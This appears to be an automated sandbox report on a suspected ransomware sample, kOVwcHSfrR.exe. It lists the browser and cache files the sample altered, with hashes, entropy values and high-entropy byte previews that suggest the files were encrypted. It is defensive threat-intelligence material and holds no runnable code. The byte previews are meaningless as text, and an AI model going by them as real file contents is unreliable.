.]..0.z..@.....V1.[G.#f\|h.!4TkVHfCIIwaAyDJuFpB

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-pre-stable.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2333839
Entropy (8bit):	4.656900097754067
Encrypted:	false
SSDEEP:	49152:HUrvFYSiXPjpqxbq9emiTQuyg7oM2e8P/bzEO:Hl
MD5:	34B91AEDF72E02A62253B22707C38493
SHA1:	04D22C6180A9343F3BF1EE3DB31398B55157CF94
SHA-256:	58174D47FE61EBD2E7321CD6FF030129B416DCA2AC9CE1B19B0CF7CCF11B4B55
SHA-512:	CC0CA5E8DB85526A9B325564F5D63090D418616BC10545DF29D39B3460266CB68EE711552796FF78E292474D3247889857C3BB8D360EE7936DF37277991EAFC5
Malicious:	false
Preview:	{. "6.c.....],......\|a.O....z.U..Fb.S...2&z...=8kW...itJ.m......5....m#..\..T~#i.H.Tj.....G....<LF..Mi.QE#K!D......6L.v.U........-A'.e...&. V.......L=b..O....?Pa.\QY..mVhj.......h.k%e..ym..{..#?.e>.j..]7]...L.]..............:%.82...{4.O;.v3<O\|..4..c..uJ\.j.@5...[.K...1....9..In....H...^.,.dZ..p tZ...yU...<.y.W3.n...>..........jZ.FPy3'...{..d.i.+t.t..Uw...P.!...0..............Q.$.F.W.....6....#..GJ.A-lV.....]........).\{....o..E..u....k...Yq\|..............e4..k..)....9%.7J..5'..y/3'..!.1Bn........+.b.q)6.....YRw..n.WJ.....Q.T........i/,.. ...!..-..Q/R.;...v.....l.n..3C.+}.;....Y.\p.\|..5..)....6/O.l..s..).(.B...;..M./J...M..Hui.x...I...7K)..jQAt..nRL..7V.i......}5."..A..........u..O.x.{A.......@.\.i~W2+..rq .*.l..hU.......Y..t8\."4....ws<<N?...x^.P.MY......Y.B.o..J..[1B..^....5w`F/ W....h...+@c..K.ML..I...X...W. ..&...\|..u....qGo..A.....>.b\|Qi..v.\.._.7...R...qg..0..&..C...e..}K\..D.5......2..,.$@)..)..M.k.V..^..i..2y}VB.....\.......Y

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-stable.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2333839
Entropy (8bit):	4.6568775565807545
Encrypted:	false
SSDEEP:	49152:8I/FYSiXPjpqxbq9emiTQuyg7oM2e8P/bzE6:u
MD5:	B18161426DE3AC8C5CB2E16401EF78A4
SHA1:	9576A7E916E992D723F4207B323F732F37B219CD
SHA-256:	B45CB7780FE08AA1E3D9DD44C6770A64AE74FAFBB8951D2D22958B5F2D13F94C
SHA-512:	1770D8F057C192E006BA55952BDC2AF342BFAB21AE34CCCD4362C487DD45BBF2C653A473DA0B3F3A0DB29EA8250617115017B4D74AB223E88F7C4DFE1E3DA1AE
Malicious:	false
Preview:	{. "~r...f...%..K..i..\1......&..S..[.....MT..G.]D.GiE.e.h>.....J.ax#T}.H.0.U'..l.RS.<4.../g...M.'.DJ.F3G.....y<..v...o6...c4A..M[...X.]gsh=.!..O+74.]B....D......ICf...`..v..5J...8.N....k-.....".......z....L....F.y.M...R........3...,AT.....t.:..]...H.g.,..%4...6.yL.....%I...?O.t...3a...Wl.... v...\.&>E..\|...-.FwY...5.&....W......xWJ...z.6.H.hoU..[.._.qo.....2L.5.w.f...E.Pi.........a.x7B.....?......&.%1...h...t.-..+..q.$.C..)..1.W..8......5.}BmH....jz....qn..W ."..P4..A.Qm..7..>..=.GTZ....2"K.U@...[..6.......g.Z..k)..3..oY.gvr?..x\|...-..8...a(N.'..^.)....3..[...r.......>.KC.o...9.P}..J.3.{c7j.'D......Z....E.Pv\..x....,...O..1-......=..z(...!...X$... .U..Or.m...:........\|....R<........!6O...XC6..j-.{.1...9R.9..$....X..u.;2...A(6.L&....b.;..9..#..E,3....Wx.."I..>./)Zm...T.....q'e..!.....wN6...{J)..%2.a4..8OC.v.k..2....."^.q.T(.kaU'.A..TM...SNY.D.Q.......*...1+Fb-QD..<.zL...........s'%m$#.my....,.n..:.K.@"....u..P.....![.Ld^^.g.w.....$C.....W\|.q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-tokenization-config.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	24582
Entropy (8bit):	7.992020350972959
Encrypted:	true
SSDEEP:	768:UdizeUpS2fEYKDOlnBEbf9quBLyvk21OjHjLczhdT:Uee+zNKyk9quBL3ymHe
MD5:	4F74C7412913862A0A42337092105FC5
SHA1:	BE53EA74A81C2E43765DB56736E37949F91C7AC3
SHA-256:	650B8D971FFA70F915E6428C177B72B6A0C7B789545DAD55B97AE3EE49C74EB5
SHA-512:	75C7EC186DC9B64F0935654F25A2364814AEB9931EC51A2C73F8B77BACC9D12A49F9315358B047D3A914CB4A9CDCA5763F74E3F0DF1F291577928A4550E315F8
Malicious:	true
Preview:	{. "l..C.e.5...6.....-.?...4.=.X.x^...g.]...}P.t..q..I.]......\g.U..P..c..Z..pe....._..,i.o......&.q.I.%.._,.J...{.b....D.k.L...X......w...]z..q<". j>../Cv.-`}r@.D.D.vpFl...J}&...sC.........nw..oOe.s.T...@\.EJU.\|.&'....,...h.]a......Q..8..kA...T...U.lS....J.w...Z..<'..h....4.........(Y..v.p.d...u./..x./.7...MW....0.c.........7....y../.7.../,..._..K.n.w...o..J\|.H....MDW......'...............J....gc.I.7Z..h.....i~.o..).Q.e......c..c..=.Nf#....l`W...._lc....z.....u.....`'.$K..@..e{.:.....n...........{.W..to!..Q.......K...ovW.agH.O...O.4.._"b.p#....".G.2}..Qp9..c9...'.X.......m1.^....D[D..C.........;RL...#>.nY..:!........@S..M......s..W..6.....W..&...........\.`..;........8...{..W%...8..U..4.!.5zLdZ..w..5e...Z.Z".Y.2..n..-.......k.'U(o.7..&N..Q..8...c...A..?s..\h../...=h.....J...._[.OEHGe.....y.L..h..E....;k.F..&.DD&..X@..Ec......J.sx_...F.....Vb.z....e..J.\.%...OQ9....T..ub....H..^....".4.:P@"Es.w.b.P #....m....?.7...o..i.=.#....D.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\FirstPartySetsPreloaded\2023.9.25.0\_metadata\verified_contents.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2198
Entropy (8bit):	7.895762745540832
Encrypted:	false
SSDEEP:	48:19RwwjYG+WbO9CX9EPkFwwDSDxubesS0yTPfKHbyD:19RnnOCX2PkFm5pTPfKHba
MD5:	C843EBE41F4F7F7BAD8B2B28A55804E7
SHA1:	7C8DD89F76E46EAE2879177B069700C715468DBA
SHA-256:	BE1E7C86799BD1FD07F78FFC9C8D437292FF457AE67FCC378156F066E03EB967
SHA-512:	668DC22FA5075B54774295273D8911734D0F7DB230D3516109B501DB92772367B1439E42CBD1AB953295195F03817A209CFEE5EA2449CF6CF739C767F68ABD43
Malicious:	false
Preview:	[{"de....p...o.^d....g...k.<U_;u..J7..sC}O. N.?\.}.......[..Gb..0.K#.K..I.ye.E..5..(.d...r.Y=.u..S.X....[...7.....%..J".......".;....M.}.u%;......P.{.`.kT.o.e.3.e.<[.N.A...#,P.._.1..../....E..6"...-.Cya..q.\|w.;I..Um.d...6..f....EF.e~..k.......yK...wV.d.#Id.[..r..Je..m.l.........e...,.V.:...?......ZA.!F$;BFQ...v.I..7UR...%.V'm....}9].O.C.Vr(Q.._.f&a.C..NRm..@z;.....A...i.7..... &@.oM.......R.zF....h...G..Q..2.tT-.UU[@$.W.T7...7%.p_..)..........a{.zS...q.......9.RF...@...q...$a..up...=.....8z}........Z......i.v.....g..a...nk..[...t.%....o.Tw.jF...\|.....o:.S..=.u...Q..] R ......*].."0..VP...9..J.+.Q..U.:6.J.Z+....u....<.9......\...`2.....O)....W.......dq7...D\S.6.7D.@......+..?\.N.."...K..T..,./".g/..;.h.E.E..g..o.,.G$.6...sP...Y.......Dnb0...cf27..L....,,..O...om.x.0..g...r..x.pe.....y........-.$...K.)_............P}.H7...Z3i...s8w.B.~....c..nW...=W.....ha....{.I.....j......].s..o.....]p...U."3..d..HzD....\|#b+s..?.J5...c..1.@...1.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SafetyTips\2983\_metadata\verified_contents.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2092
Entropy (8bit):	7.90909291835755
Encrypted:	false
SSDEEP:	48:E1Prj9QNyJq9A9qP6UkQxeJowUR+6706rKl38YVvM/TXFwyD:E1PrjaNd9A9nUmowGB06mdVIVwa
MD5:	DBFDA235B84D24AB80763D76754D4776
SHA1:	A682F5319F5BDD652853AD4B24762A814EFD78C9
SHA-256:	79F9EF664690114175A04942F12A86C06D786D9870A9732870EE6C0EAEB61EFB
SHA-512:	BB21AC1D9374DA227B34BE8C6568863DEEF2006D91A1DDC6819D0AEBF36DB9A39768EA9A4A4A264FD01D871D030CE8B2F999C03FE4A0F16197CCE0540999FCBC
Malicious:	false
Preview:	[{"de..~x....O].X.%.^k.[7...&Ic.D.=.Z...2Z{.-.Kz.......4....]s.R..-z...g..\.9........V'-....H...m......-.(V..c..EQ.y.F.m....j+T.q..!.F..&2..S.D..kIFY..`.+..X......D.`..h.YB.#-E\9..N.O...S6......k.....T.T....`..........~.w....?.$@^Fk...mC...._Tj....`.o.h..+r...m....Y.o....3......N../.......e..7`ae[L..........p.x............N(..pB.7....W...{2L.....aZ...............#m?...r........o...eT...=.....R.h... 9\g..Y4..\c..1SPl.>.S..v.))...'.A.<.h.{0vsCOy.a...C.o..d..l..+....tb\|...G..........#....W.Ey.(...%....0.1:.1..#T..D-.vW4..muG....[.f...\|t.......Ov..........X+:.bz..w.k....Oso?.0#......3dz.v.+_......U/.......J...7p#SX:.pF.._..OHy0.\|........j.n5..O.?S0iEt.].G.Xb js..SS'R.jc.A.....RJ8#.;..'.$.....Q....>...ro. 1..j#....+L7.R^..+2K."..jr...~8...^.."a]K.Ri...tY.a....!#?...kE.r..bmH...".U...,Y.R.W...\.(@........e.....w#..v.E......j.....~!D..i~e..@....8x..Q.PsW.+....%....O......+.y..[.].F~...zg%.,..I..E.=o...']#c.t./.-./(..j..........U.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.50\adblock_snippet.js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2649
Entropy (8bit):	7.922482467045964
Encrypted:	false
SSDEEP:	48:BrQQEvd1XviJUcuNwXz9IwNZExmtjd5mW1xcJeXr8oUCOn/d/YKd4v2yD:B0QEv7v8aNwX5IKK+rn1xcSYoUCOn3d4
MD5:	E0681D92C7684E13F427468F01873753
SHA1:	01763AAA92E64F6C43357AEEDF481CB850A87DE6
SHA-256:	C1FCFF154169C4DC8623C159EC873E6562FB439B106876B848325ACE4E223FA2
SHA-512:	C6C7602320B148469A89CEA52D51211DCFA62E1716A39ACC59F1566E10EE21335747327BB8FF617360088B110353963164B858D21A1B15ECC4830E75D47E51CD
Malicious:	false
Preview:	(()=>/KL....}A....\|R.c..M.5c8l.f...d....YH..-Jc..dv.a.Cj...<.zI....NB..?.......2.#..V.^Vi...Q_+1.(J.J....M......PtnW...)...C.....?..5.G.Jq..B.7Z...y.Y...u..\Z...N...S.{....T..>....B...W...S.^n...(&e%.....k...t....0V.=...J7.Fw.....W.^}M&..7wI._.z.a...zc.....'.H...R..og...\|.Iv8..0~.z...@.@.z...U.Qe.7.6ez.#.~.n..M.Q&.AU..x..O.w.'!wJ'a."N...J.'...$......\|......+@....c...[.l._y"Kt@...a5....3..'.6._=....e.i..q...a...I..E%-..1...C{.@......\|.s..1..}....vt.c".. ...c..c5C..l..z...t.zW)cR...!...F< ..D.$....3v....[.[.....y.U.,.6)....H.....H68..D%..=.+......+.$.a).4.9.s.cq..M...KQ.M\..U...7cuT...{.0!.p......t.O.5UF...f.,%!zO...c+.........oD..zvM.!....i..,.m.A.M..0..ia..."....Z.b{.<....%z.....`I0.2...v.Z....Y...1..M<9.Z.u...&...KK..GA...~.5......2Et...{.]..K>k-.....K..U .B"...4....*."d0.. ..@.k...c.@~...4..=..A..1...b.@...3....\|<..I.cFS.....$.{.hO.....SGe.....D.0^....d.f$.&..R..O.......b.=F.IQ....v..c7.....8.`p.......-B.......i.K.Rf...\|?..."P8\...W

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.50\manifest.fingerprint

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	400
Entropy (8bit):	7.356272792810851
Encrypted:	false
SSDEEP:	6:SzcmN8GHmRUkbjRBIAQ56T0VA5niBEAkgG8yeD+gCLeMJ7ZHowfw5XeWcii96Z:+8GGJLp0VMLqyYmHoqw1cii9a
MD5:	E7E1590D1EE3B02D8B696434450C51F3
SHA1:	DAA480AECFA91CC214C94DD2132AC5C3517F37C5
SHA-256:	8524B5DDE92FF3E42574123210260F1A69900D49A7D1F90A1E3AFDC42B06993B
SHA-512:	DC27BAD03D986FACAE7FFEDB086FA046D45283FA3FC1F0DCEE76BCD416B9EF7F7710ED0BAE04C1F043C2E7D6F960389E5C13CFC7C258DA212BD1419BA3C0FB3E
Malicious:	false
Preview:	1.2F9.G......8.5..x"..w;W..>..6.. ]C...._....tUE..q......y.y.....f..h]J....%....S.z....J. 2y......N\|X\|.Dyh.U.Y...y..c.R>`...X..a.up..I.......6..f....w.#..eu...dd.s\|j.$.k.V.b.._lT}..#..`D..r!...8...L.".....(....>.6i.....-.n.......'.'..?..CJ..W......H...Y;..1.....Z.`DS.8....N.,.;Q.....\p.c(.0.Gz...CMl.S.d.{.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.50\manifest.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	450
Entropy (8bit):	7.438488235178107
Encrypted:	false
SSDEEP:	12:R2rPoIon29Rxp4/M9p9/LBB/SppUcpAFZU5xe+z24Dboqw1cii9a:ErdHnSM9b/LSpp0meMFw1bD
MD5:	81787EFA7369EFD47CFCC6E8346473C7
SHA1:	49A8A498615401CAAB0A148109ACB21C6A1C7E37
SHA-256:	90647540860E753121A0B916C209C00CC585448B246CC95CE06888097FFF67F1
SHA-512:	3A42012F509FBD83AEF12D6C9E525D50037AECB98BA0AE5D74004DCB783AC8616434D79CB6B4A860FA0A213CB59C65FA557825CA3F05AC968FD9251E9B48C837
Malicious:	false
Preview:	{. "..Q-.AD%_..6....;.....+....y..\I.U..$.!....e0....c^..h....o...Se.?..1.1...8........b4x..NT_.I....{z...id.q.... .4.<..?F...Q"jL(. >.H=......w^......\|..-.KL~2.Ev=._...F.b.B.:.>.!i..M...W.g...oc...!OdW0..X..Ra..Q35.N[.)..C'....y..{@....<.t.....@..Ih......l..!4.w..-....\|...4.}.....j..S...Y.y.^...!.....:.W...c..O....Q.....=...3E\|.,..=..dD$. =..p.E#lTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\TrustTokenKeyCommitments\2023.9.4.1\_metadata\verified_contents.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2196
Entropy (8bit):	7.91006064734533
Encrypted:	false
SSDEEP:	48:EzkvZT3rzaesuYrXHjM1GFn+wbwgyWySNTD+yD:E2TvaesuY/M1GFn+wr9ySF6a
MD5:	1CB6F34194805808A01C97C20D5A02C8
SHA1:	DA24C7303BD773818830F7F0BF25F74A3EA2369F
SHA-256:	8B85F7ECA9C1EAAE3B76CD01DDAFD1A978D2CC03299940E4FCD7D8DFCFE66675
SHA-512:	C6660F0AD166F86AA0B0C101BE429AE899769C5215196B8F9C5949D3F2741673CA045617CE84BCC8689A0DAB37C941D6E4D596D6D0F4F266C72E81DBB5A916E6
Malicious:	false
Preview:	[{"de.......C..m...I...t)..C"g)....Z7T......\|.-..,..m..~..s..G..gQ..b....F...{v.....P....t.-.%fm.V@.N._.1.#....5/.....J^...O...Sn.H..&.v5?.Q....<.N..'....}}..M....%.K....^.;..k...d....).......B{....4....&.'..}..U.s....l..d.6.8q.......Q.Q.3...m{..\E.4..t0.c1........&..h.H.'.....nL.......{.N.,...`.+t...Qy-_......qd4.+.,OT.SS!.......%dO%..(e A..=y.....<....-.S.....3....C"Wg...j..p.).V1.}6..Gzw.L]B...heg.w.x...._Bm...mi......y.....?..X.h('..P.....tL..q=...si...A~l;..X8.F.Q..1........E.a..YB.l^\]..#A......?...~....#.yK$D...$ E.^@....y.. @.....v....s4F../.....#.t......Z".Bz.sW.6wu..a.F>Z......_..C.ZY0........Kp.'6..h5...:.e.#...R4........-....]..i.n.^.I...../.mQ}....V....d.M...U.,...5.S..<...G.../......~..H....K-/.1.h..L..n....B..O....VR....1W..XD Fqq.......#....>.;..B_.m%..6...=...].n._F.k#..f...@%...V}F....eoy.\I..@..i9`..N.....C.'.0.F@-.ve^l~.$..%4.R........d....dr\|...t.qT.l.1.TO.{.N..0.....5...0Fwo..'#./U......A....Z.$ea......?..}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\_metadata\verified_contents.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	6034
Entropy (8bit):	7.966891067700256
Encrypted:	false
SSDEEP:	96:MH1WVFKIuSpOwB9vImWMQSleDWJ/6FGh/dgHJZcy8ZLqnOzWyWQh03CIZ2OXs2cS:8oVFKIuSO49va3SeDWJp/dg/cy82ozW7
MD5:	F1C74B6D6377963C71E083327D902C0E
SHA1:	D464DADFF801F7D729479440479283FD04DBDC6E
SHA-256:	1A951AAC09D1A6FF27464832B11BC63ED3865376AB535FA04F197A49A16E628C
SHA-512:	515E911D59838E1F6119F7CD095D23F720CE24211AA54A0BDB314F705879DD84E483F6F0A0AA150841258D21EAE2EB7C2C6BFAF0B0B716954306BB52F07D7A61
Malicious:	false
Preview:	[{"de"x-......7Xy..N...\..2."..[.V.l.....Lr.JW.5......i5U...bs..../"..g_.3.i.T..8M.L.X.W...1...d.oe\1.P].;~q;.pr..(#.A.[..f..wU.g..........oy..N/.....C..4#..U.k2..~...[&........k..'.z;1x..w........eM...<x:.bOi..NI<.x%=...$......`T.....`+zp..4.%~.'. M.ar.86...m1n..l.Es.8..9..A.]..Uj.&..-...Nu...0..V..s.(..Ru4.....^)q..o..-.....C..P=~*9.:m..%.t.N'../..!.t;..X.^UMED.......zY..R...h.....3.D~BH\|.#[........?YB.BW....`......N.'..!\..I.....G.."..(.WL.Y..:...=..k..62.r.]....6...Dx..3q2........,.......u7....m.......K~4..Ta2.?Q x.~T,..>.....H..N.."...QB..,X.t.n].=HwrXC.l....c.2..P..tg...vT+.,f....Tq..v.dI..Xg..c.P....z%&h.../..6......J....%N...!...r..#...L.X.....eed..t.rt...Q..p.N.t..x.<.;.....p.S..J.F..Q....;...j....\|.KdYV..C..p"B..J..F.:.>.5...k6....9?-g.G.%R.m.2.s~..../..Wp.......M...4....[(b.-.\|.~....kD]..z..b....h......b.zM.3.w;g.{{..&......pU....,......+...^S.n&^V8.......pD.....xT...dj.Z.H.N...L....<z...M`.-W.d.....2.......bf..Y...<..&.$

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CatalogCacheMetaData.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	7.9171053599498995
Encrypted:	false
SSDEEP:	48:KX9uQkDj96zzLMAFBJgG7GS6woDObBV+b+TFIrHIuyD:KM9Kzbi2GhAV+qTFIcua
MD5:	76D37D6AE05F0BAA99BC0E7162866FFA
SHA1:	F9DA48DE37B09923BED726FF0540A23FEF37ACDC
SHA-256:	D6DE636C14C39BD5C520F07715529A12808F6B12F4F74DE20D8AA5117AB70FD3
SHA-512:	7DFB2DAE4C3BB0E535A920B870DF549C8779EA8BF12DB8E8FB33C3A6DCE94594B9CA207424AA9C3574A825C1E36D7B1F8DD63A3E5709CFB0CEFD632AE24246A8
Malicious:	false
Preview:	<?xml....8.A....d....../....@...d..=.......,o.^~....G..... ..m.....0v.....I.y.Q......z.f..........D.#...R3w......s..n.F.vd..7..B.\v..-....^...Y3.S..9m'....h!...a...Y.a;...#%....!G....r...z.......T,.......o..`.Ev........\|r..?...QN.......=L .N..%la..g.5c.t.....k...>Z../.... %....Pdn.)MZ.....7..Tp./..j~..g.%cS...r.j...&.3.&...b..n7e...S.Hs.o...(:/..i...y.......BR...wf.Y.C$.16.w..b.n\.....p~\..{.i...^..Q....T.......\J.+......f?+.&S..RiQ....z...M.....)...J.......{...4.S..}.(./.-.].v..B..m..........o.m..0......X.K.......(2R.."P.`.....bx....jz.\|I.:.Q.'..Ki.I.:..2...L...X.NW9.. ....Ub..Z..z..2b7...)..(.n..p.S.#......}.I.kH.....U@9..]..i...v.w...`l...-vM......l.M..wAO...U}..N...n.>.bg.._s9...\|J_h..>..\|.h....G..J.....l..(..rF.5..1.VFY..[_/<.T.t..0..D.c..L.....3..d.~[<{..;...&.s...I8..Kc...Ls.....n.GHT.V...}.F.r...2...hC.!.W..q..cuea$.X..:.9...4....N.._8.o..YI.......?..<...[~.R9R...c.ZI.jG.]X..X.H...e`9..Ly....o..M..I...k...'@?.v.gb;.`\|..q.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edb.chk

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978619557790703
Encrypted:	false
SSDEEP:	192:kajFCQGx4Ecl0IndRGRrc1/ENQoHk6B63Lp/wLdEMV4+Npl4mlIXaMy2n:k0FCj9cKIndRGRMENiLIK+NyKMy2n
MD5:	90DD3D99B37088DC0250FE1C79510462
SHA1:	23D8F203ABF9F32C6A3EC9DFAA7B578600519E62
SHA-256:	29394A296D513B823098D9686B187090B764F54353194EB16BF01C7A0952E5AA
SHA-512:	202C44F4D328A8FFA6B4E4F42FD6FC5655D005C71B55B5673F2AED5B180A0E02CF194FC198313BE23A4FDBB7A0C8FC26AC904ED8362205CAAA55FE922F47C7E7
Malicious:	false
Preview:	.3\|...r...,m...k...;...%=..:.._..ay...KK.>.......8../.;..}..,... ..1..K.V.M.'.p....Q.w.8.HY.......Z$.<..e.zBY6.X.G.uZ..2..s..G..U.2.H..;.M...9.10m......'.b8........g9.HQ.R......L..~zM.M.I.....sB.<.$j`..-...f...:...TZ...kp7!,.'\.@s.R..K.p.U......V../I....i.Wu.W..D.<.dsP.p......K.q'.....)..5...z..W.......k"..^....Q.Z6.J....4........"....]P.3...k~DD.J.r......~....q.\V.<..M.V.hy."onx>g.f.Dra..z\.%..zX..H.Jc......I.>.V....@..Q..0.....\...Sq...D......U...b;..Y.b).L......P..x....`...eF....~C.7.Y.r..,').....D-bv.9A..c.$.i...lH....G...ihI#.........}`mV......q3pxA].V..E.6..7y.>DA..+.t..s.Uk._e......zx8...\|.LH...`.I..t.Y..V.&Uz.Ng..+......R..T..C..b.._.G.K8..a.Z~.Q...L.T..]E..I..-T.U'.3......D...pJ:;..x."~..M..;......d..... ....-m<aR.........m..?......i..@.......-I.d..T.-.t.`...cd....]L.\|7..k.Y....i.,..@..2/Z5......v.....o..m.....m..(..@.(.-.....)..vB.M.U../e!$b..3.k.....0..V...d..Z9x.57.;X3.U'2.,.E..Z.)...;.o*.].fa...3+..?I..3.B....$.d.T....c...

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edb.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.9639862555987846
Encrypted:	false
SSDEEP:	3072:mKiBBaZ8hH8Lfeyl8fe9pDifMVVlzBPmm6+aWc1jpyNKT61m5pKbdAeAWUuR:QBa4Yfof70VzB6fYj1
MD5:	8E5316C631604563A3BFD7B4A31D326D
SHA1:	1F6E5FE30F540AE064CB15A9AC64A955500A3A0A
SHA-256:	A19C5F4AA97ADE963CAAB6A5587A3672813291AB827CA4B1A16DCBD662899534
SHA-512:	09444F4AF305F38D682A493DE5754D6DC929D7C3F49A2C084199E5C18DB40F009210DDE2BE319BBC14B1F1655BDDC2061C88912771D68AEC1BBFC341EC5E655B
Malicious:	false
Preview:	....Y>D...S...+.......C%.j....TG..-.Y.....Z.H.Y..K..F1q........(i.cO.J._..w....gJ.....4.O."V..Wl.X..+...].C.I7..7...U..E...(-\..z..2....XI.P.........M-..;XDi.....$..A..><....W3.l..6x....qO...#/.....2.$\|Er...v.9......?[2......".............'zko..y.'..}d8l....'.B8.......j..........c...b".Y........>.yC...9...."?....w..Z.....c.?..;C...Y@......9..A....d).L..c.;[a.]?....,.}.....{.t"q4.....w3R..m..g.K.7....O..U......Q.+t..o...S....Q.>o.G.......@.s..O......E...:f.K........2..:.C...3....^..t.R...)..G._......>...n....9...N "..V..k...M........:..R.S.............Eo.:^..^.vV.......:....p@...N.......4I..1.R.F.D..A...CV..v.?...8\.........g...A-.8.:..&...L:d.CE4%...h.~.......4..$...5.z..n..\Ugc{...)..s...a..p7GU...6OI...c+v0...Fl..f1.=.B.....g]qE,...V../}b]bc..H.K7.5.$.#eb....m.-....l:\.j.Of...s%@....k..m:".jf..dh\|...-5...b.s.!...kMO...'j..{.Pm.D.....i.5...T.i4.....S.].]8!K..^q../*\|.....=......:5....r......V..'.fN3.....e5.PF.....+b.%.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbres00001.jrs

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2084303009924344
Encrypted:	false
SSDEEP:	3072:6KImLKVyeb9UN95nnQx3i1l+v+wETRGTj10GSl4edBWafXJ5hkR:6TIKYeuTnQxS1l+WSjeaUBJ5he
MD5:	44326A484188360DBA3D7A1CED2B4002
SHA1:	D52CA5CC2BFD124A21047E904292AF5DC198C469
SHA-256:	30013EC21080A8012D84A1FA3361EA2AC55C35A8073F80467BB7CFEF27C2EEB7
SHA-512:	54539D1F3A1D40BF03EE8C36D4A42825043FE50E390B9D29DAB4F0DDC2CBA87CB2E0D9467120CB5A25DB3A108D58CB119A0FB851D2662A7BEE548E7FCDFD20D5
Malicious:	false
Preview:	........J......4.V...RH.. <........R........T..07...u_...7.N.;.g.W^......M..3.G..x...j,.....M.........p.....w.r.....j...}J....<.....n.D.L.\Qg9..=..gP.(..D!.[.....;...i.....m....;U.$...l..6=S.4....3..W`D...@.....H(.....+..e.n:.l..@.....8.F...#..!.+......Z,:.~.6eio.U.....Vj.Zv....5..........Z...R.m...l.+.....M..K...LM..\|v.........}.t.C..4Mr.C.................6\u.N.t.E.'....K..o.r6.U.T...F.[.K.T..U.F`......eO\.&VX...)j.....~K...........?.q..bG%m..I....m....$./Y.s.IP...[1E.B.....Yl...V.t{....W..L+J...]..A.r..)U.A..pD...&.`p(OP....g...1..B.....fi.......NC.....\|'..I....R\|........[..u...l.nf.....B..>..Y y-.'D.....h.......Hx....%.uM5.r..h....G..:..4T.\|.~.`...p.o}..".....^W.&.h\.hE.lj....g.:......[.[.Z..u.h.Y.D..$.W+3..{...e.S.\....zK6...P_.L.0...o+..y`.M..m..v3.R....zgo.i<f\.`F..1....n....B.F..,...,).^.7:.T..r...........F......c#...5.......+rr.K.Z..U,+^yg..Ul..i;.m....T.w,..k...vOm._)..E.....O4...).....sj.....U7..vr.`6..9......\|..

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbres00002.jrs

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207989206646085
Encrypted:	false
SSDEEP:	6144:yrUIjVYBrDqpg+Oj82arsUIwpM1F1WCMi:PZ2sjI3HM71WCMi
MD5:	DFE6E672C1DB4A50D75E8411615DAF28
SHA1:	361B748CCB98C6A684680437BA0493DF41A4CCF5
SHA-256:	1A9DE67767A88869998A4951D62A59A6C121C9BD3329AF7B432F1D47EC9840FA
SHA-512:	5F008C7B18F46C6276F055289F64C4C48B7C23B7B889D5420158904A751DFFFB4E5A1B1DB6FF0ACE7B06B1F46234BDC89AB250D46DA35DE06662C60F08A49E02
Malicious:	false
